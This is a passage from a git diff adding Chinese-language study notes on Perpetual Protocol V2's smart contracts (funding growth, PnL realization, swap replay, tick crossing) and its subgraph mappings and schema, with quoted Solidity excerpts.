+            .calcAmountScaledByFeeRatio(response.quote, marketInfo.uniswapFeeRatio, false)
+            .neg256();
+    }
+
+    // update the timestamp of the first tx in this market
+    if (_firstTradedTimestampMap[params.baseToken] == 0) {
+        _firstTradedTimestampMap[params.baseToken] = _blockTimestamp();
+    }
+
+    return
+        InternalSwapResponse({
+            base: exchangedPositionSize,
+            quote: exchangedPositionNotional.sub(replayResponse.fee.toInt256()),
+            exchangedPositionSize: exchangedPositionSize,
+            exchangedPositionNotional: exchangedPositionNotional,
+            fee: replayResponse.fee,
+            insuranceFundFee: replayResponse.insuranceFundFee,
+            tick: replayResponse.tick
+        });
+}
+```
+
+## View
+
+### \_getFundingGrowthGlobalAndTwaps
+
+计算最新的 `globalFundingGrowth` 全局变量 和 TWAP 价格（Mark price TWAP, Index price TWAP）
+
+1. 确定 twapInterval 计算 TWAP 的时间窗口，如果 token 在 market 中处于非 open 状态，取暂停的时间点作为截止
+2. 获取 Mark price TWAP, Index price TWAP
+3. 计算 `fundingGrowthGlobal` 全局累计变量，其中有:
+   - `deltaTwPremium = (markTwap - indexTwap) * (now - lastSettledTimestamp)`
+   - `twPremiumX96 += deltaTwPremium`
+   - `twPremiumDivBySqrtPriceX96 += deltaTwPremium / sqrt(Mark price)`
+
+```solidity
+// lib/Funding.sol
+
+/// @dev tw: time-weighted
+/// @param twPremiumX96 overflow inspection (as twPremiumX96 > twPremiumDivBySqrtPriceX96):
+//         max = 2 ^ (255 - 96) = 2 ^ 159 = 7.307508187E47
+//         assume premium = 10000, time = 10 year = 60 * 60 * 24 * 365 * 10 -> twPremium = 3.1536E12
+struct Growth {
+    int256 twPremiumX96;
+    int256 twPremiumDivBySqrtPriceX96;
+}
+
+// Exchange.sol
+
+/// @dev this function calculates the up-to-date globalFundingGrowth and twaps and pass them out
+/// @return fundingGrowthGlobal the up-to-date globalFundingGrowth
+/// @return markTwap only for settleFunding()
+/// @return indexTwap only for settleFunding()
+function _getFundingGrowthGlobalAndTwaps(address baseToken)
+    internal
+    view
+    returns (
+        Funding.Growth memory fundingGrowthGlobal,
+        uint256 markTwap,
+        uint256 indexTwap
+    )
+{
+    bool marketOpen = IBaseToken(baseToken).isOpen();
+    uint256 timestamp = marketOpen ? _blockTimestamp() : IBaseToken(baseToken).getPausedTimestamp();
+
+    // shorten twapInterval if prior observations are not enough
+    uint32 twapInterval;
+    if (_firstTradedTimestampMap[baseToken] != 0) {
+        twapInterval = IClearingHouseConfig(_clearingHouseConfig).getTwapInterval();
+        // overflow inspection:
+        // 2 ^ 32 = 4,294,967,296 > 100 years = 60 * 60 * 24 * 365 * 100 = 3,153,600,000
+        uint32 deltaTimestamp = timestamp.sub(_firstTradedTimestampMap[baseToken]).toUint32();
+        twapInterval = twapInterval > deltaTimestamp ? deltaTimestamp : twapInterval;
+    }
+
+    uint256 markTwapX96;
+    if (marketOpen) {
+        markTwapX96 = getSqrtMarkTwapX96(baseToken, twapInterval).formatSqrtPriceX96ToPriceX96();
+        indexTwap = IIndexPrice(baseToken).getIndexPrice(twapInterval);
+    } else {
+        // if a market is paused/closed, we use the last known index price which is getPausedIndexPrice
+        //
+        // -----+--- twap interval ---+--- secondsAgo ---+
+        //                        pausedTime            now
+
+        // timestamp is pausedTime when the market is not open
+        uint32 secondsAgo = _blockTimestamp().sub(timestamp).toUint32();
+        markTwapX96 = UniswapV3Broker
+            .getSqrtMarkTwapX96From(IMarketRegistry(_marketRegistry).getPool(baseToken), secondsAgo, twapInterval)
+            .formatSqrtPriceX96ToPriceX96();
+        indexTwap = IBaseToken(baseToken).getPausedIndexPrice();
+    }
+    markTwap = markTwapX96.formatX96ToX10_18();
+
+    uint256 lastSettledTimestamp = _lastSettledTimestampMap[baseToken];
+    Funding.Growth storage lastFundingGrowthGlobal = _globalFundingGrowthX96Map[baseToken];
+    if (timestamp == lastSettledTimestamp || lastSettledTimestamp == 0) {
+        // if this is the latest updated timestamp, values in _globalFundingGrowthX96Map are up-to-date already
+        fundingGrowthGlobal = lastFundingGrowthGlobal;
+    } else {
+        // deltaTwPremium = (markTwap - indexTwap) * (now - lastSettledTimestamp)
+        int256 deltaTwPremiumX96 =
+            _getDeltaTwapX96(markTwapX96, indexTwap.formatX10_18ToX96()).mul(
+                timestamp.sub(lastSettledTimestamp).toInt256()
+            );
+        fundingGrowthGlobal.twPremiumX96 = lastFundingGrowthGlobal.twPremiumX96.add(deltaTwPremiumX96);
+
+        // overflow inspection:
+        // assuming premium = 1 billion (1e9), time diff = 1 year (3600 * 24 * 365)
+        // log(1e9 * 2^96 * (3600 * 24 * 365) * 2^96) / log(2) = 246.8078491997 < 255
+        // twPremiumDivBySqrtPrice += deltaTwPremium / getSqrtMarkTwap(baseToken)
+        fundingGrowthGlobal.twPremiumDivBySqrtPriceX96 = lastFundingGrowthGlobal.twPremiumDivBySqrtPriceX96.add(
+            PerpMath.mulDiv(deltaTwPremiumX96, PerpFixedPoint96._IQ96, getSqrtMarkTwapX96(baseToken, 0))
+        );
+    }
+
+    return (fundingGrowthGlobal, markTwap, indexTwap);
+}
+```
+
+### getPnlToBeRealized
+
+计算未结算的 Pnl 价值，该函数只有在减少头寸或者反响开仓时使用
+
+1. 基于当前头寸规模 `position size` 计算将要关闭头寸的比例 `closedRatio = delta_base / takerPositionSize`
+2. `closedRatio <= 1` 只是减少头寸规模或者全部关闭头寸
+   - `reducedOpenNotional = takerOpenNotional * closedRatio`
+   - `pnlToBeRealized = quote amount + reducedOpenNotional`
+3. `closedRatio > 1` 不仅关闭当前头寸，还要反向开仓
+   - `closedPositionNotional = quote amount / closedRatio` 本次反向开仓的头寸价值(与 takerOpenNotional 符号相反)
+   - `pnlToBeRealized = takerOpenNotional + closedPositionNotional`
+
+```solidity
+struct InternalRealizePnlParams {
+    address trader;
+    address baseToken;
+    int256 takerPositionSize;
+    int256 takerOpenNotional;
+    int256 base;
+    int256 quote;
+}
+
+function _getPnlToBeRealized(InternalRealizePnlParams memory params) internal pure returns (int256) {
+    // closedRatio is based on the position size
+    uint256 closedRatio = FullMath.mulDiv(params.base.abs(), _FULLY_CLOSED_RATIO, params.takerPositionSize.abs());
+
+    int256 pnlToBeRealized;
+    // if closedRatio <= 1, it's reducing or closing a position; else, it's opening a larger reverse position
+    if (closedRatio <= _FULLY_CLOSED_RATIO) {
+        // https://docs.google.com/spreadsheets/d/1QwN_UZOiASv3dPBP7bNVdLR_GTaZGUrHW3-29ttMbLs/edit#gid=148137350
+        // taker:
+        // step 1: long 20 base
+        // openNotionalFraction = 252.53
+        // openNotional = -252.53
+        // step 2: short 10 base (reduce half of the position)
+        // quote = 137.5
+        // closeRatio = 10/20 = 0.5
+        // reducedOpenNotional = openNotional * closedRatio = -252.53 * 0.5 = -126.265
+        // realizedPnl = quote + reducedOpenNotional = 137.5 + -126.265 = 11.235
+        // openNotionalFraction = openNotionalFraction - quote + realizedPnl
+        //                      = 252.53 - 137.5 + 11.235 = 126.265
+        // openNotional = -openNotionalFraction = 126.265
+
+        // overflow inspection:
+        // max closedRatio = 1e18; range of oldOpenNotional = (-2 ^ 255, 2 ^ 255)
+        // only overflow when oldOpenNotional < -2 ^ 255 / 1e18 or oldOpenNotional > 2 ^ 255 / 1e18
+        int256 reducedOpenNotional = params.takerOpenNotional.mulDiv(closedRatio.toInt256(), _FULLY_CLOSED_RATIO);
+        pnlToBeRealized = params.quote.add(reducedOpenNotional);
+    } else {
+        // https://docs.google.com/spreadsheets/d/1QwN_UZOiASv3dPBP7bNVdLR_GTaZGUrHW3-29ttMbLs/edit#gid=668982944
+        // taker:
+        // step 1: long 20 base
+        // openNotionalFraction = 252.53
+        // openNotional = -252.53
+        // step 2: short 30 base (open a larger reverse position)
+        // quote = 337.5
+        // closeRatio = 30/20 = 1.5
+        // closedPositionNotional = quote / closeRatio = 337.5 / 1.5 = 225
+        // remainsPositionNotional = quote - closedPositionNotional = 337.5 - 225 = 112.5
+        // realizedPnl = closedPositionNotional + openNotional = -252.53 + 225 = -27.53
+        // openNotionalFraction = openNotionalFraction - quote + realizedPnl
+        //                      = 252.53 - 337.5 + -27.53 = -112.5
+        // openNotional = -openNotionalFraction = remainsPositionNotional = 112.5
+
+        // overflow inspection:
+        // max & min tick = 887272, -887272; max liquidity = 2 ^ 128
+        // max quote = 2^128 * (sqrt(1.0001^887272) - sqrt(1.0001^-887272)) = 6.276865796e57 < 2^255 / 1e18
+        int256 closedPositionNotional = params.quote.mulDiv(int256(_FULLY_CLOSED_RATIO), closedRatio);
+        pnlToBeRealized = params.takerOpenNotional.add(closedPositionNotional);
+    }
+
+    return pnlToBeRealized;
+}
+```
diff --git a/defi/Perpetual-V2/contracts/OrderBook.md b/defi/Perpetual-V2/contracts/OrderBook.md
new file mode 100644
index 000000000..043da1742
--- /dev/null
+++ b/defi/Perpetual-V2/contracts/OrderBook.md
@@ -0,0 +1,242 @@
+# OrderBook
+
+## Non-View
+
+### updateFundingGrowthAndLiquidityCoefficientInFundingPayment
+
+遍历trader的所有 range order (不同价格区间的流动性，perp 视作一种 range order)，累计其所有 funding payment 的 growth 累计值
+
+1. 该函数只能由 Exchange 合约调用
+2. 获取该 base token 的 tickMap (存储所有已激活的 tick 信息)
+3. 根据用户的所有 range order id，遍历每一个 range order 的未结算 funding payment
+    - 根据 order id 获取 range order 信息
+    - 获取该 range order 价格区间之外的 `fundingGrowthRangeInfo`
+
+```solidity
+/// @inheritdoc IOrderBook
+function updateFundingGrowthAndLiquidityCoefficientInFundingPayment(
+    address trader,
+    address baseToken,
+    Funding.Growth memory fundingGrowthGlobal
+) external override returns (int256 liquidityCoefficientInFundingPayment) {
+    _requireOnlyExchange();
+
+    bytes32[] memory orderIds = _openOrderIdsMap[trader][baseToken];
+    mapping(int24 => Tick.GrowthInfo) storage tickMap = _growthOutsideTickMap[baseToken];
+    address pool = IMarketRegistry(_marketRegistry).getPool(baseToken);
+
+    // funding of liquidity coefficient
+    uint256 orderIdLength = orderIds.length;
+    (, int24 tick, , , , , ) = UniswapV3Broker.getSlot0(pool);
+    for (uint256 i = 0; i < orderIdLength; i++) {
+        OpenOrder.Info storage order = _openOrderMap[orderIds[i]];
+        Tick.FundingGrowthRangeInfo memory fundingGrowthRangeInfo =
+            tickMap.getAllFundingGrowth(
+                order.lowerTick,
+                order.upperTick,
+                tick,
+                fundingGrowthGlobal.twPremiumX96,
+                fundingGrowthGlobal.twPremiumDivBySqrtPriceX96
+            );
+
+        // the calculation here is based on cached values
+        liquidityCoefficientInFundingPayment = liquidityCoefficientInFundingPayment.add(
+            Funding.calcLiquidityCoefficientInFundingPaymentByOrder(order, fundingGrowthRangeInfo)
+        );
+
+        // thus, state updates have to come after
+        order.lastTwPremiumGrowthInsideX96 = fundingGrowthRangeInfo.twPremiumGrowthInsideX96;
+        order.lastTwPremiumGrowthBelowX96 = fundingGrowthRangeInfo.twPremiumGrowthBelowX96;
+        order.lastTwPremiumDivBySqrtPriceGrowthInsideX96 = fundingGrowthRangeInfo
+            .twPremiumDivBySqrtPriceGrowthInsideX96;
+    }
+
+    return liquidityCoefficientInFundingPayment;
+}
+```
+
+`_growthOutsideTickMap` 是根据 token 地址分类存储 tick 信息的 mapping
+
+```solidity
+// first key: base token, second key: tick index
+// value: the accumulator of **Tick.GrowthInfo** outside each tick of each pool
+mapping(address => mapping(int24 => Tick.GrowthInfo)) internal _growthOutsideTickMap;
+```
+
+### updateOrderDebt
+
+更新 order 的债务
+
+1. 只能由 ClearningHouse 调用
+2. 分别累加 base 与 quote 的债务
+
+```solidity
+/// @inheritdoc IOrderBook
+function updateOrderDebt(
+    bytes32 orderId,
+    int256 base,
+    int256 quote
+) external override {
+    _requireOnlyClearingHouse();
+    OpenOrder.Info storage openOrder = _openOrderMap[orderId];
+    openOrder.baseDebt = openOrder.baseDebt.toInt256().add(base).toUint256();
+    openOrder.quoteDebt = openOrder.quoteDebt.toInt256().add(quote).toUint256();
+}
+```
+
+### replaySwap
+
+模拟进行 Univ3 pool 交易，计算交易的手续费总额，交易后的价格，已经保险准备金额
+
+内部逻辑与 Uniswap v3 Pool 合约 swap 方法基本相同
+
+- `tick` 交易后的价格 tick
+- `fee` 指 uniswap 的手续费
+- `insuranceFundFee = fee * insuranceFundFeeRatio`
+
+```solidity
+struct ReplaySwapParams {
+    address baseToken;
+    bool isBaseToQuote;
+    bool shouldUpdateState;
+    int256 amount;
+    uint160 sqrtPriceLimitX96;
+    uint24 exchangeFeeRatio;
+    uint24 uniswapFeeRatio;
+    Funding.Growth globalFundingGrowth;
+}
+
+/// @param insuranceFundFee = fee * insuranceFundFeeRatio
+struct ReplaySwapResponse {
+    int24 tick;
+    uint256 fee;
+    uint256 insuranceFundFee;
+}
+
+/// @inheritdoc IOrderBook
+function replaySwap(ReplaySwapParams memory params) external override returns (ReplaySwapResponse memory) {
+    _requireOnlyExchange();
+
+    address pool = IMarketRegistry(_marketRegistry).getPool(params.baseToken);
+    bool isExactInput = params.amount > 0;
+    uint24 insuranceFundFeeRatio =
+        IMarketRegistry(_marketRegistry).getMarketInfo(params.baseToken).insuranceFundFeeRatio;
+    uint256 fee;
+    uint256 insuranceFundFee; // insuranceFundFee = fee * insuranceFundFeeRatio
+
+    UniswapV3Broker.SwapState memory swapState =
+        UniswapV3Broker.getSwapState(pool, params.amount, _feeGrowthGlobalX128Map[params.baseToken]);
+
+    params.sqrtPriceLimitX96 = params.sqrtPriceLimitX96 == 0
+        ? (params.isBaseToQuote ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1)
+        : params.sqrtPriceLimitX96;
+
+    // if there is residue in amountSpecifiedRemaining, makers can get a tiny little bit less than expected,
+    // which is safer for the system
+    int24 tickSpacing = UniswapV3Broker.getTickSpacing(pool);
+
+    while (swapState.amountSpecifiedRemaining != 0 && swapState.sqrtPriceX96 != params.sqrtPriceLimitX96) {
+        InternalSwapStep memory step;
+        step.initialSqrtPriceX96 = swapState.sqrtPriceX96;
+
+        // find next tick
+        // note the search is bounded in one word
+        (step.nextTick, step.isNextTickInitialized) = UniswapV3Broker.getNextInitializedTickWithinOneWord(
+            pool,
+            swapState.tick,
+            tickSpacing,
+            params.isBaseToQuote
+        );
+
+        // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds
+        if (step.nextTick < TickMath.MIN_TICK) {
+            step.nextTick = TickMath.MIN_TICK;
+        } else if (step.nextTick > TickMath.MAX_TICK) {
+            step.nextTick = TickMath.MAX_TICK;
+        }
+
+        // get the next price of this step (either next tick's price or the ending price)
+        // use sqrtPrice instead of tick is more precise
+        step.nextSqrtPriceX96 = TickMath.getSqrtRatioAtTick(step.nextTick);
+
+        // find the next swap checkpoint
+        // (either reached the next price of this step, or exhausted remaining amount specified)
+        (swapState.sqrtPriceX96, step.amountIn, step.amountOut, step.fee) = SwapMath.computeSwapStep(
+            swapState.sqrtPriceX96,
+            (
+                params.isBaseToQuote
+                    ? step.nextSqrtPriceX96 < params.sqrtPriceLimitX96
+                    : step.nextSqrtPriceX96 > params.sqrtPriceLimitX96
+            )
+                ? params.sqrtPriceLimitX96
+                : step.nextSqrtPriceX96,
+            swapState.liquidity,
+            swapState.amountSpecifiedRemaining,
+            // isBaseToQuote: fee is charged in base token in uniswap pool; thus, use uniswapFeeRatio to replay
+            // !isBaseToQuote: fee is charged in quote token in clearing house; thus, use exchangeFeeRatioRatio
+            params.isBaseToQuote ? params.uniswapFeeRatio : params.exchangeFeeRatio
+        );
+
+        // user input 1 quote:
+        // quote token to uniswap ===> 1*0.98/0.99 = 0.98989899
+        // fee = 0.98989899 * 2% = 0.01979798
+        if (isExactInput) {
+            swapState.amountSpecifiedRemaining = swapState.amountSpecifiedRemaining.sub(
+                step.amountIn.add(step.fee).toInt256()
+            );
+        } else {
+            swapState.amountSpecifiedRemaining = swapState.amountSpecifiedRemaining.add(step.amountOut.toInt256());
+        }
+
+        // update CH's global fee growth if there is liquidity in this range
+        // note CH only collects quote fee when swapping base -> quote
+        if (swapState.liquidity > 0) {
+            if (params.isBaseToQuote) {
+                step.fee = FullMath.mulDivRoundingUp(step.amountOut, params.exchangeFeeRatio, 1e6);
+            }
+
+            fee += step.fee;
+            uint256 stepInsuranceFundFee = FullMath.mulDivRoundingUp(step.fee, insuranceFundFeeRatio, 1e6);
+            insuranceFundFee += stepInsuranceFundFee;
+            uint256 stepMakerFee = step.fee.sub(stepInsuranceFundFee);
+            swapState.feeGrowthGlobalX128 += FullMath.mulDiv(stepMakerFee, FixedPoint128.Q128, swapState.liquidity);
+        }
+
+        if (swapState.sqrtPriceX96 == step.nextSqrtPriceX96) {
+            // we have reached the tick's boundary
+            if (step.isNextTickInitialized) {
+                if (params.shouldUpdateState) {
+                    // update the tick if it has been initialized
+                    mapping(int24 => Tick.GrowthInfo) storage tickMap = _growthOutsideTickMap[params.baseToken];
+                    // according to the above updating logic,
+                    // if isBaseToQuote, state.feeGrowthGlobalX128 will be updated; else, will never be updated
+                    tickMap.cross(
+                        step.nextTick,
+                        Tick.GrowthInfo({
+                            feeX128: swapState.feeGrowthGlobalX128,
+                            twPremiumX96: params.globalFundingGrowth.twPremiumX96,
+                            twPremiumDivBySqrtPriceX96: params.globalFundingGrowth.twPremiumDivBySqrtPriceX96
+                        })
+                    );
+                }
+
+                int128 liquidityNet = UniswapV3Broker.getTickLiquidityNet(pool, step.nextTick);
+                if (params.isBaseToQuote) liquidityNet = liquidityNet.neg128();
+                swapState.liquidity = LiquidityMath.addDelta(swapState.liquidity, liquidityNet);
+            }
+
+            swapState.tick = params.isBaseToQuote ? step.nextTick - 1 : step.nextTick;
+        } else if (swapState.sqrtPriceX96 != step.initialSqrtPriceX96) {
+            // update state.tick corresponding to the current price if the price has changed in this step
+            swapState.tick = TickMath.getTickAtSqrtRatio(swapState.sqrtPriceX96);
+        }
+    }
+    if (params.shouldUpdateState) {
+        // update global states since swap state transitions are all done
+        _feeGrowthGlobalX128Map[params.baseToken] = swapState.feeGrowthGlobalX128;
+    }
+
+    return ReplaySwapResponse({ tick: swapState.tick, fee: fee, insuranceFundFee: insuranceFundFee });
+}
+```
+
diff --git a/defi/Perpetual-V2/contracts/README.md b/defi/Perpetual-V2/contracts/README.md
new file mode 100644
index 000000000..6bbb35f54
--- /dev/null
+++ b/defi/Perpetual-V2/contracts/README.md
@@ -0,0 +1,11 @@
+# perp-curie-contract
+
+
+> https://github.com/perpetual-protocol/perp-curie-contract
+
+> code sample: https://perp.notion.site/Perp-v2-Integration-Guide-Code-Samples-01943c0520624e43bf58bc4c3368db07#f08abc1e19ed4856a61308fd905028b2
+
+- [ClearningHouse](./ClearningHouse.md)
+- [Exchange](./Exchange.md)
+- [OrderBook](./OrderBook.md)
+- [Tick](./Tick.md)
diff --git a/defi/Perpetual-V2/contracts/Tick.md b/defi/Perpetual-V2/contracts/Tick.md
new file mode 100644
index 000000000..f5e150973
--- /dev/null
+++ b/defi/Perpetual-V2/contracts/Tick.md
@@ -0,0 +1,86 @@
+# Tick
+
+## View
+
+### getAllFundingGrowth
+
+根据当前价格与 price range 的位置关系，计算 price range 之外的 `FundingGrowth` 数值
+
+1. 获取 range 边界上 lower , upper 两个 tick 上的 `GrowthOutside`
+2. 根据 `currentTick` 与边界的位置关系，来确定一侧 outside 数值是直接取 tick 上的 `GrowthOutside`, 还是需要用 `GrowthGlobal` 减去 `GrowthOutside`
+   - 每当 `currentTick` 穿过某个 tick，都会触发其上的 outside 数值翻转，因为该 tick 与 `currentTick` 位置关系发生翻转
+   - `GrowthOutside = GrowthGlobal - GrowthOutside`
+   - 所以当我们计算 price range 的 outside 数值，也需要根据位置关系来判断
+
+- [Tick.cross](#cross)
+- 具体原理同 [Uniswap V3 fees 的计算](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/defi/Uniswap-V3/whitepaperGuide/understandV3Witepaper.md#%E6%89%8B%E7%BB%AD%E8%B4%B9)
+
+```solidity
+/// @return all values returned can underflow per feeGrowthOutside specs;
+///         see https://www.notion.so/32990980ba8b43859f6d2541722a739b
+function getAllFundingGrowth(
+    mapping(int24 => GrowthInfo) storage self,
+    int24 lowerTick,
+    int24 upperTick,
+    int24 currentTick,
+    int256 twPremiumGrowthGlobalX96,
+    int256 twPremiumDivBySqrtPriceGrowthGlobalX96
+) internal view returns (FundingGrowthRangeInfo memory) {
+    GrowthInfo storage lowerTickGrowthInfo = self[lowerTick];
+    GrowthInfo storage upperTickGrowthInfo = self[upperTick];
+
+    int256 lowerTwPremiumGrowthOutsideX96 = lowerTickGrowthInfo.twPremiumX96;
+    int256 upperTwPremiumGrowthOutsideX96 = upperTickGrowthInfo.twPremiumX96;
+
+    FundingGrowthRangeInfo memory fundingGrowthRangeInfo;
+    fundingGrowthRangeInfo.twPremiumGrowthBelowX96 = currentTick >= lowerTick
+        ? lowerTwPremiumGrowthOutsideX96
+        : twPremiumGrowthGlobalX96 - lowerTwPremiumGrowthOutsideX96;
+    int256 twPremiumGrowthAboveX96 =
+        currentTick < upperTick
+            ? upperTwPremiumGrowthOutsideX96
+            : twPremiumGrowthGlobalX96 - upperTwPremiumGrowthOutsideX96;
+
+    int256 lowerTwPremiumDivBySqrtPriceGrowthOutsideX96 = lowerTickGrowthInfo.twPremiumDivBySqrtPriceX96;
+    int256 upperTwPremiumDivBySqrtPriceGrowthOutsideX96 = upperTickGrowthInfo.twPremiumDivBySqrtPriceX96;
+
+    int256 twPremiumDivBySqrtPriceGrowthBelowX96 =
+        currentTick >= lowerTick
+            ? lowerTwPremiumDivBySqrtPriceGrowthOutsideX96
+            : twPremiumDivBySqrtPriceGrowthGlobalX96 - lowerTwPremiumDivBySqrtPriceGrowthOutsideX96;
+    int256 twPremiumDivBySqrtPriceGrowthAboveX96 =
+        currentTick < upperTick
+            ? upperTwPremiumDivBySqrtPriceGrowthOutsideX96
+            : twPremiumDivBySqrtPriceGrowthGlobalX96 - upperTwPremiumDivBySqrtPriceGrowthOutsideX96;
+
+    fundingGrowthRangeInfo.twPremiumGrowthInsideX96 =
+        twPremiumGrowthGlobalX96 -
+        fundingGrowthRangeInfo.twPremiumGrowthBelowX96 -
+        twPremiumGrowthAboveX96;
+    fundingGrowthRangeInfo.twPremiumDivBySqrtPriceGrowthInsideX96 =
+        twPremiumDivBySqrtPriceGrowthGlobalX96 -
+        twPremiumDivBySqrtPriceGrowthBelowX96 -
+        twPremiumDivBySqrtPriceGrowthAboveX96;
+
+    return fundingGrowthRangeInfo;
+}
+```
+
+### cross
+
+每当 `currentTick` 穿过某个 tick，都会触发其上的 outside 数值翻转，因为该 tick 与 `currentTick` 位置关系发生翻转
+
+```solidity
+function cross(
+    mapping(int24 => GrowthInfo) storage self,
+    int24 tick,
+    GrowthInfo memory globalGrowthInfo
+) internal {
+    GrowthInfo storage growthInfo = self[tick];
+    growthInfo.feeX128 = globalGrowthInfo.feeX128 - growthInfo.feeX128;
+    growthInfo.twPremiumX96 = globalGrowthInfo.twPremiumX96 - growthInfo.twPremiumX96;
+    growthInfo.twPremiumDivBySqrtPriceX96 =
+        globalGrowthInfo.twPremiumDivBySqrtPriceX96 -
+        growthInfo.twPremiumDivBySqrtPriceX96;
+}
+```
diff --git a/defi/Perpetual-V2/subgraph/Mappings.md b/defi/Perpetual-V2/subgraph/Mappings.md
new file mode 100644
index 000000000..ec5038ed2
--- /dev/null
+++ b/defi/Perpetual-V2/subgraph/Mappings.md
@@ -0,0 +1,130 @@
+# Perp V2 Subgraph Mappings
+
+## AccountBalance
+
+### handlePnlRealized
+
+每当 PnlRealized 事件触发
+
+1. 新建 PnlRealized 对象
+2. 更新 Trader 对象的交易数据， `totalPnl` `settlementTokenBalance` `collateral`
+3. 更新 Protocol 对象
+
+## ClearningHouse
+
+### handlePositionClosed
+
+PositionClosed 事件触发
+
+1. 新建 PositionClosed 对象
+2. 更新 Protocol 对象，`tradingVolume` 字段
+3. 更新 Market 对象，`tradingVolume` 字段
+4. 更新 Trader 对象，`tradingVolume`, `realizedPnl` 字段
+5. 更新 TraderMarket 对象，`takerPositionSize` `openNotional` `entryPrice` 清零, `tradingVolume` `realizedPnl` 累计
+6. 更新 Position 对象，`timestamp` `blockNumber` 更新，`PositionSize` `openNotional` `entryPrice` 清零, `tradingVolume` `realizedPnl` 累计
+7. 更新 traderDayData 对象，累计 `tradingVolume` `realizedPnl`
+
+### handlePositionChanged
+
+1. 新建 PositionChanged 对象，`swappedPrice` 交易价格需要根据头寸规模的情况判断是否等于 0，因为添加移除流动性有可能没有进行交易（不实用 take 仓位添加流动性）
+2. 更新 Protocol 对象
+3. 更新 Market 对象
+4. 更新 Trader 对象
+5. 更新 TraderMarket 对象，若更新后的 `takerPositionSize` 字段小于 DUST_POSITION_SIZE 将 `takerPositionSize`, `openNotional`, `entryPrice` 字段置零
+6. 更新 Position 对象
+7. 更新 traderDayData 对象
+
+### handlePositionLiquidated
+
+PositionLiquidated 事件触发
+
+1. 新建 PositionLiquidated 对象
+2. 更新 Position 对象
+3. 更新 Trader 对象
+4. 更新 TraderMarket 对象
+
+### handleLiquidityChanged
+
+LiquidityChanged 事件触发
+
+1. 新建 LiquidityChanged 对象
+2. 更新 Maker 对象
+3. 更新 Trader 对象
+4. 更新 TraderMarket 对象
+5. 更新 OpenOrder 对象
+6. 更新 Market 对象
+
+### handleFundingPaymentSettled
+
+FundingPaymentSettled 事件触发
+
+1. 新建 FundingPaymentSettled 对象
+2. 更新 Position 对象
+3. 更新 Trader 对象
+4. 更新 TraderMarket 对象
+
+### handleReferralPositionChanged
+
+ReferredPositionChanged 事件触发，在触发后，累计上一次 PositionChanged 事件的数据
+
+更新 `referralCodeDayData` `referralCodeTraderDayData` `PositionChanged` 对象
+
+## CollateralManager
+
+### handleCollateralAdded
+
+CollateralAdded 事件触发
+
+## Exchange
+
+### handleFundingUpdated
+
+FundingUpdated 事件触发，每当 funding payment 更新时
+
+- `daily funding rate = (markTwap - indexTwap) / indexTwap`
+  - ?? TWAP interal = 15 minutes, 这里直接认为是 daily ??
+
+## MarketRgistry
+
+### handlePoolAdded
+
+PoolAdded 事件触发，添加新的 base token pool
+
+### handleFeeRatioChanged
+
+FeeRatioChanged 事件触发，改变 perp 手续费率
+
+## Reffer
+
+?? 暂未找到相关事件 ??
+
+## Vault
+
+### handleDeposited
+
+Deposited 事件触发，当用户使用 deposit 函数存入抵押品
+
+1. 更新 Token 对象 （Vault 中的 token），`totalDeposited`
+2. 新建 Deposited 对象
+3. 更新 Trader 对象
+4. 更新 Protocol 对象
+5. 更新 Deposited 对象的 amount 字段, 判断是存入 USDC 还是 WETH
+
+### handleWithdrawn
+
+Withdrawn 事件触发
+
+1. 更新 Token 对象 （Vault 中的 token），`totalDeposited`
+2. 新建 Withdrawn 对象
+3. 更新 Trader 对象
+4. 更新 Protocol 对象
+5. 更新 Deposited 对象的 amount 字段, 判断是赎回的 USDC 还是 WETH
+
+### handleCollateralLiquidated
+
+CollateralLiquidated 事件触发
+
+1. 新建 CollateralLiquidated 对象
+2. 更新 Trader 对象
+   - trader‘s token balance 分为 non settlement 和 setlement 两部分
+3. 更新 Protocol 对象，其 balance 同样分为两部分
diff --git a/defi/Perpetual-V2/subgraph/README.md b/defi/Perpetual-V2/subgraph/README.md
new file mode 100644
index 000000000..8f03ed2e8
--- /dev/null
+++ b/defi/Perpetual-V2/subgraph/README.md
@@ -0,0 +1,6 @@
+# perp-curie-subgraph
+
+> https://github.com/perpetual-protocol/perp-curie-subgraph
+
+- [Schema.graphql.md](./Schema.graphql.md)
+- [Mappings.md](./Mappings.md)
diff --git a/defi/Perpetual-V2/subgraph/Schema.graphql.md b/defi/Perpetual-V2/subgraph/Schema.graphql.md
new file mode 100644
index 000000000..ef076584e
--- /dev/null
+++ b/defi/Perpetual-V2/subgraph/Schema.graphql.md
@@ -0,0 +1,151 @@
+# Perp V2 Subgraph Schema.graphql
+
+## MarketRegistry
+
+### Protocol
+
+协议基本信息
+
+### Market
+
+每个 base token 都有对应的 Market
+
+- `feeRatio` 交易手续费(Uniswap 收取的部分) 500 (0.05%), 3000 (0.3%), 10000 (1%)
+- `tradingVolume` 该 Market 累计的交易量
+- `tradingFee` 该 Market 累计的交易手续费
+- `baseAmount` base token 的流动性
+- `quoteAmount` quote token 的流动性
+
+### Token
+
+v-token 对象， `TraderTokenBalance` 与 `ProtocolTokenBalance` 的字段类型
+
+### TraderTokenBalance
+
+trader 的 token 余额
+
+### ProtocolTokenBalance
+
+协议每个 token 的余额
+
+## Vault
+
+### Deposited
+
+Vault.Deposited event 事件触发，存储 token 进入 vault 合约
+
+### Withdraw
+
+Vault.Withdraw event 事件触发
+
+### CollateralLiquidated
+
+Vault.CollateralLiquidated event 事件触发
+
+## Exchange
+
+### PositionChanged
+
+trader 新增头寸(开空或开多), PositionChanged 事件触发
+
+- `exchangedPositionSize` 本次交易的头寸规模，+ 为多 - 为空
+- `exchangedPositionNotional` 本次交易的头寸价值
+- `fee` 本次交易手续费，（perp + uniswap）
+- `openNotional` 此交易过后，trader 每笔交易的平均价值
+- `realizedPnl` 此交易后，实现的 Pnl
+- `positionSizeAfter` 此交易后 trader 的头寸规模
+- `swappedPrice` 此次交易考虑手续费后的交易价格
+- `entryPriceAfter` 所有交易的平均交易价格
+
+### PositionClosed
+
+trader 头寸关闭, PositionClosed 事件触发
+
+- `closedPositionSize` 关闭头寸的规模 - 为关闭多头 + 为关闭空头
+- `closedPositionNotional` 关闭头寸的价值
+- `openNotionalBeforeClose` 关闭头寸之前的平均头寸价值
+
+### FundingUpdated
+
+更新 Mark price 和 Index price 的 TWAP，FundingUpdated 事件触发
+
+### FundingPaymentSettled
+
+更新 trader 的 funding payment 数值，FundingPaymentSettled 事件触发
+
+### Trader
